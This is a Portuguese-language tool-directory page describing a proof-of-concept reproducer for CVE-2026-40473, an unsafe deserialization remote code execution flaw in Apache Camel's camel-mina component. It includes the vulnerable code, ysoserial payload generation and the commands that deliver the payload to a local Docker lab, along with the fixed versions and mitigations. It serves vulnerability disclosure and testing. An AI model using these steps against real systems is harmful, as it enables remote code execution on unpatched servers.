Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40473 — Reprodutor para CVE-2026-40473: desserialização insegura no Apache Camel camel-mina MinaConverter.toObjectInput (RCE via TCP/UDP) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40473
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoExploração de Binários
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reprodutor para CVE-2026-40473: desserialização insegura no Apache Camel camel-mina MinaConverter.toObjectInput (RCE via TCP/UDP)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-mina — Reprodutor de Desserialização Insegura via MinaConverter.toObjectInput (CVE-2026-40473)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-mina do Apache Camel, rastreada como CVE-2026-40473. O conversor de tipo MinaConverter.toObjectInput(IoBuffer) envolve os bytes recebidos em um ObjectInputStream cru, sem ObjectInputFilter; portanto, uma rota que converte um corpo TCP/UDP em ObjectInput e chama readObject() pode ser levada a execução remota de código por um atacante que envia um objeto serializado malicioso para a porta MINA.

Comunicado: https://camel.apache.org/security/CVE-2026-40473.html

Resumo da Vulnerabilidade

Detalhes Técnicos

O conversor de tipo IoBuffer → ObjectInput encapsula o buffer em um ObjectInputStream cru:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

Quando um consumidor TCP/UDP do camel-mina entrega os bytes brutos (por exemplo, com allowDefaultCodec=false) e a rota solicita ObjectInput (getBody(ObjectInput.class), @Body ObjectInput ou convertBodyTo(ObjectInput.class)), este conversor é executado. Chamar readObject() no fluxo retornado então executa qualquer cadeia de gadgets nos bytes fornecidos pelo atacante.

A rota vítima

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Pré-requisitos

  • Java 17+ e Maven 3.8+ (para compilar o jar)
  • Docker (executa o reprodutor)
  • ysoserial (para geração de payloads)

Passos para Reprodução

Passo 1: Compile o jar e inicie o contêiner

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passo 2: Gere um payload malicioso

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Passo 3: Envie via TCP para a porta MINA (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(A porta MINA 5555 é interna ao contêiner neste PoC; o helper /exploit/inject realiza o envio TCP bruto a partir de dentro. Exponha a porta 5555 para enviar a partir do host com um cliente bruto como o nc.)

Passo 4: Verifique

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Limpeza

root@kitploit:~
docker compose down

Vetores de Ataque

Qualquer consumidor TCP ou UDP do camel-mina cuja rota converta o corpo em ObjectInput (diretamente, via @Body ObjectInput, ou convertBodyTo(ObjectInput.class)) é explorável por qualquer pessoa que consiga alcançar a porta MINA.

Condições para Exploração

  1. Um consumidor TCP/UDP do camel-mina que solicite a conversão dos bytes recebidos em ObjectInput.
  2. Uma biblioteca de gadgets no classpath (por exemplo, commons-collections:3.2.1).

Correção Recomendada

Atualize para 4.14.6 / 4.18.2 / 4.20.0. A correção aplica um ObjectInputFilter / lista de permissões de classes ao conversor (equivalente ao endurecimento aplicado ao camel-netty, camel-jms e camel-infinispan).

Mitigação

Até atualizar:

  1. Não converta corpos MINA não confiáveis em ObjectInput / não os desserialize.
  2. Remova bibliotecas de gadgets (atualize/remova o commons-collections 3.x).
  3. Restrinja o acesso de rede à porta MINA apenas a peers confiáveis.

Arquivos

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-mina
Classe Afetadaorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE) via TCP/UDP
Versões AfetadasDe 3.0.0 até antes de 4.14.6, de 4.15.0 até antes de 4.18.2, de 4.19.0 até antes de 4.20.0
Versões Corrigidas4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
RelatorVenkatraman Kumar (Securin)